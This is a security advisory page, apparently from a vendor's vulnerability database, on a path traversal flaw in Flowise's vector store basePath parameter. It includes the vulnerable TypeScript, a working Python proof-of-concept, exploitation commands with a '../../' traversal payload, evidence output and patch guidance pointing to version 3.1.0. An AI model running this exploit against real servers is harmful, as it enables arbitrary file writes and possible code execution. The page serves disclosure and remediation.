GHSA-w6v6-49gh-mc9w — flowise
GHSA-w6v6-49gh-mc9w is a Path Traversal vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise: Path Traversal in Vector Store basePath
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w6v6-49gh-mc9w.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmflowise-componentsnpmDescription
Summary
The Faiss and SimpleStore (LlamaIndex) vector store implementations accept a basePath parameter from user-controlled input and pass it directly to filesystem write operations without any sanitization. An authenticated attacker can exploit this to write vector store data to arbitrary locations on the server filesystem.
Vulnerability Details
| Field | Value |
|---|---|
| Affected File | packages/components/nodes/vectorstores/Faiss/Faiss.ts (lines 79, 91) |
| Affected File | packages/components/nodes/vectorstores/SimpleStore/SimpleStore.ts (lines 83-104) |
Prerequisites
- Authentication: Valid API token with
documentStores:upsert-configpermission - Document Store: An existing Document Store with at least one processed chunk
- Embedding Credentials: Valid embedding provider credentials (e.g., OpenAI API key)
Root Cause
Faiss (Faiss.ts)
async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> {
const basePath = nodeData.inputs?.basePath as string // User-controlled
// ...
const vectorStore = await FaissStore.fromDocuments(finalDocs, embeddings)
await vectorStore.save(basePath) // Direct filesystem write, no validation
}
SimpleStore (SimpleStore.ts)
async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> {
const basePath = nodeData.inputs?.basePath as string // User-controlled
let filePath = ''
if (!basePath) filePath = path.join(getUserHome(), '.flowise', 'llamaindex')
else filePath = basePath // Used directly without sanitization
const storageContext = await storageContextFromDefaults({ persistDir: filePath }) // Writes to arbitrary path
}
Impact
An authenticated attacker can:
- Write files to arbitrary locations on the server filesystem
- Overwrite existing files if the process has write permissions
- Potential for code execution by writing to web-accessible directories or startup scripts
- Data exfiltration by writing to network-mounted filesystems
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Path Traversal in Vector Store basePath (CWE-22)
Usage:
python poc.py --target http://localhost:3000 --token <API_KEY> --store-id <STORE_ID> --credential <EMBEDDING_CREDENTIAL_ID>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=120) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--token", required=True)
ap.add_argument("--store-id", required=True)
ap.add_argument("--credential", required=True)
ap.add_argument("--base-path", default="/tmp/flowise-path-traversal-poc")
args = ap.parse_args()
payload = {
"storeId": args.store_id,
"vectorStoreName": "faiss",
"vectorStoreConfig": {"basePath": args.base_path},
"embeddingName": "openAIEmbeddings",
"embeddingConfig": {"credential": args.credential},
}
url = args.target.rstrip("/") + "/api/v1/document-store/vectorstore/insert"
headers = {"Authorization": f"Bearer {args.token}"}
try:
status, body = post_json(url, payload, headers)
print(body)
except urllib.error.HTTPError as e:
print(e.read().decode())
if __name__ == "__main__":
main()
Setup
- Create a Document Store in Flowise UI
- Add a Document Loader (e.g., Plain Text) with any content
- Click "Process" to create chunks
- Note the Store ID from the URL
- Get your embedding credential ID from Settings → Credentials
Exploitation
# Write to /tmp
python poc.py \
--target http://127.0.0.1:3000 \
--token <API_TOKEN> \
--store-id <STORE_ID> \
--credential <OPENAI_CREDENTIAL_ID> \
--base-path /tmp/flowise-pwned
# Path traversal variant
python poc.py \
--target http://127.0.0.1:3000 \
--token <API_TOKEN> \
--store-id <STORE_ID> \
--credential <OPENAI_CREDENTIAL_ID> \
--base-path "../../../../tmp/traversal-test"
Evidence
$ python poc.py --target http://127.0.0.1:3000/ --token <TOKEN> --store-id 30af9716-ea51-47e6-af67-5a759a835100 --credential bb1baf6e-acb7-4ea0-b167-59a09a28108f --base-path /tmp/flowise-pwned
{"numAdded":1,"addedDocs":[{"pageContent":"Lorem Ipsum","metadata":{"docId":"d84d9581-0778-454d-984e-42b372b1b555"}}],"totalChars":0,"totalChunks":0,"whereUsed":[]}
$ ls -la /tmp/flowise-pwned/
total 16
drwxr-xr-x 4 user wheel 128 Jan 17 12:00 .
drwxrwxrwt 12 root wheel 384 Jan 17 12:00 ..
-rw-r--r-- 1 user wheel 1234 Jan 17 12:00 docstore.json
-rw-r--r-- 1 user wheel 5678 Jan 17 12:00 faiss.index
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.0npm install flowise@3.1.0 |
| 📦npm | flowise-components | all versions | 3.1.0npm install flowise-components@3.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w6v6-49gh-mc9w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-w6v6-49gh-mc9w can be triaged on real exposure rather than presence alone.
Tailored to GHSA-w6v6-49gh-mc9w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w6v6-49gh-mc9w in your dependencies?
O3 Security finds GHSA-w6v6-49gh-mc9w across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.